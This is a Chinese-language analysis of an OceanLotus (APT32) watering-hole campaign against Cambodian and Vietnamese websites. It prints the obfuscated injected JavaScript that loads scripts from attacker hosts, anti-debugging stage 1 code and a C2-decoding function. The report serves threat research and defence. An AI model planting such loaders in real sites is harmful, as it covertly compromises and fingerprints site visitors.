OceanLotus最新水坑攻擊活動分析
ESET研究人員發現攻擊東南亞的新水坑攻擊活動,該攻擊活動自2018年9月開始活躍。研究人員共識別出21個被入侵的網站,其中有柬埔寨國防部、外交和國際合作部以及越南的新聞和部落格網站。
研究人員分析發現該活動是由OceanLotus組織發起的。OceanLotus也叫做APT 32,APT-C-00,從2012年開始活躍,主要攻擊外國政府和持不同政見者。
技術分析
攻擊者再index頁面或伺服器上的Javascript檔案中加入了JavaScript程式碼,程式碼是經過混淆的,如圖2所示。然後載入另一個來自攻擊者控制的伺服器上的指令碼。指令碼https://www.mfaic.gov[.]kh/wp-content/themes/ministry-of-foreign-affair/slick/slick.min.js被加入到中,用於載入來自https://weblink.selfip[.]info/images/cdn.js?from=maxcdn的檔案。
(function() { var pt = "http"; var l = document.createElement('script'); l.src = pt + "s://" + arguments[0] + arguments[2] + arguments[3] + 'ip.' + 'info/images/cdn.js?from=maxcdn'; document.getElementsByTagName('body')[0].appendChild(l) })('web', 'a', 'link', '.self');
加入到mfaic.gov[.]kh網站的 JavaScript程式碼
為了繞過檢測,攻擊者採取了以下措施:
·混淆指令碼來預防對final URL的靜態分析;
·URL與網站使用過的真實的JavaScript庫非常相似;
·每個被黑的站點使用不同的域名和URI;
·每個被黑的站點使用不同的指令碼。
下面程式碼段是插入到另一個被黑的網站的指令碼:
var script = document.createElement("script"); var i = 'crash-course'; var s = "fzgbc knowsztall znfo"; var _ = '/'; var e = "VisitorIdentification.js?sa=" + i; script.async = true; script.src = "htt" + "ps:" + _ + _ + s.split(" ").map(x => x.replace("z", "i")).join(".") + _ + e; var doc = document.getElementsByTagName('script')[0]; doc.parentNode.insertBefore(script, doc);
插入目標網站的另一個JavaScript
stage 1
根據訪問者的IP地址位置,stage 1伺服器負責傳播誘餌指令碼或stage 1指令碼。並不是所有的伺服器都會進行位置檢查,但如果啟用了,只有來自越南和柬埔寨的訪問者才能接收到惡意指令碼。
Stage 1指令碼含有多項檢查來繞過檢測,如下所示:
[…] function t(n) { var r = this; !function (t, n) { if (!(t instanceof n)) throw new TypeError('Cannot call a class as a function'); }(this, t), this.t = { o: null, s: !0 }, this.scr = !0, this.r(), this.i = !0, window.addEventListener('scroll', function () { r.i || r.scr && !r.t.s && (r.scr = !1, r.c(n)), r.i = !1; }); } return t.prototype.r = function () { var t = this; setInterval(function () { var n = window.outerWidth - window.innerWidth > 160, r = window.outerHeight - window.innerHeight > 160, e = n ? 'vertical' : 'horizontal'; r && n || !(window.Firebug && window.Firebug.chrome && window.Firebug.chrome.isInitialized || n || r) ? (t.t.s = !1, t.t.o = null) : (t.t.s = !0, t.t.o = e); }, 500); } […]
stage 1 JavaScript payload
指令碼會等使用者滑到頁面底部,指令碼還會檢查視窗的解析度以確定是否啟用Firebug。如果檢查失敗就停止執行。
然後,用定製的演算法解密C2域名。比如3B37371M1B1B382R332V1A382W36392W2T362T1A322T38會解密為wss://tcog.thruhere[.]net。對於每個stage 1域名,攻擊者會註冊一個不同的stage 2域名,每個域名都託管在不同的伺服器上。下面的python解密函式程式碼是等價的。
def decrypt(encrypted_url): s = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" return "".join(chr(s.index(encrypted_url[e]) * 36 + s.index(encrypted_url[e+1])) for e in range(0,len(encrypted_url),2))
解密C2伺服器的Python程式碼
C2地址解密後,指令碼會發送一個唯一的15個數字的字串,然後接收並執行stage 2指令碼。所有的通訊都是通過Socket/">WebSocket經過SSL執行的。協議允許客戶端和伺服器全雙工通訊。也就是說,客戶端建立連線後,伺服器可以在客戶端未傳送請求的情況下向客戶端傳送資料。但這裡使用websocket的目的是為了繞過檢測。
Stage 2
Stage 2指令碼是一個偵察指令碼,OceanLotus開發者重用了 ofollow,noindex">GitHub 上的Valve fingerprintjs2庫,並進行了簡單修改。圖6是指令碼執行的不同動作。所有的通訊都是通過stage 1開啟的websocket session進行的。
stage 2 payload流
通訊使用伺服器生成的AES session key加密。使用RSA 1024位公鑰加密,併發送給客戶端。因此無法解密客戶端和伺服器之間的通訊。
與之前的水坑攻擊框架相比,這次的攻擊活動更難檢測,因為通過網路傳送的資料無法檢測到。因此這會組織資料的網路檢測。
偵察指令碼會建立一個指紋報告,併發送給Stage 2 C2伺服器。
{ "history": { "client_title": "Ministry%20of%20Foreign%20Affairs%20and%20International%20Cooperation%20-", "client_url": "https://www.mfaic.gov.kh/", "client_cookie": "", "client_hash": "", "client_referrer": "https://www.mfaic.gov.kh/foreign-ngos", "client_platform_ua": "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36", "client_time": "2018-10-21T12:43:25.254Z", "timezone": "Asia/Bangkok", "client_network_ip_list": [ "192.168.x.x", "x.x.x.x" ], "client_api": "wss://tcog.thruhere.net/", "client_zuuid": "defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80dbfb0b276c48a8a6d453444dae086bc77be7", "client_uuid": "a612cdb028e1571dcab18e4aa316da26" }, "navigator": { "plugins": { "activex": false, "cors": true, "flash": false, "java": false, "foxit": true, "phonegap": false, "quicktime": false, "realplayer": false, "silverlight": false, "touch": false, "vbscript": false, "vlc": false, "webrtc": true, "wmp": false }, "_screen": { "width": 1920, "height": 1080, "availWidth": 1920, "availHeight": 1080, "resolution": "1920x1080" }, "_plugins": [ [...]
指紋報告
該報告與OceanLotus Framework B生成的報告幾乎一模一樣。不同的地方也很相似,都含有相同的列印錯誤。基於這些相似之處和目標的位置,研究人員相信是OceanLotus發起的這次攻擊活動。
報告中含有受害者瀏覽器和訪問的網站的詳細資訊:user-agent, HTTP Referer, t本地和外部IP地址,瀏覽器外掛和瀏覽器的配置語言首選項。
不同點是每個機器都有2個唯一的id,分別是client_zuuid和client_uuid。這可能是用來識別使用者和追蹤的。這些id也存在於2017版的framework中,而且計算client_uuid的方法也是一樣的。
client_zuuid是navigator.mediaDevices.enumerateDevices中的不同deviceId值加起來的。裝置是可以訪問瀏覽器的外部裝置,比如照相機、麥克風等。該值對給定使用者來說是不變的。
client_uuid是fingerprintjs2提取的指紋資訊的MD5雜湊值。在收集的資訊中有瀏覽器user-agent、語言、時區、瀏覽器外掛、字型。除非使用者更新瀏覽器或使用不同的裝置,否則該值對給定使用者來說應該是不變的。
最後,伺服器可以傳送額外的JavaScript程式碼到受害者計算機,這段程式碼應該就是真實的payload。但是因為使用了AES session key來加密通訊,因此研究人員不能識別攻擊者傳送的payload。而且payload只發送給特定的目標,因此就無法用測試機器來獲取payload。
網路基礎設施
為了繞過檢測,OceanLotus對每個被黑的站點分別註冊了stage 1和stage 2的域名。每個域名都託管在不同IP地址的不同伺服器上,攻擊者註冊了至少50個域名和50個伺服器。
而且大多數的stage 1域名都是在免費的域名服務上註冊的,大多數stage 2的域名都是付費的。而且攻擊者也在模仿非惡意的網站來看似合法的。表3是攻擊者模仿的服務列表。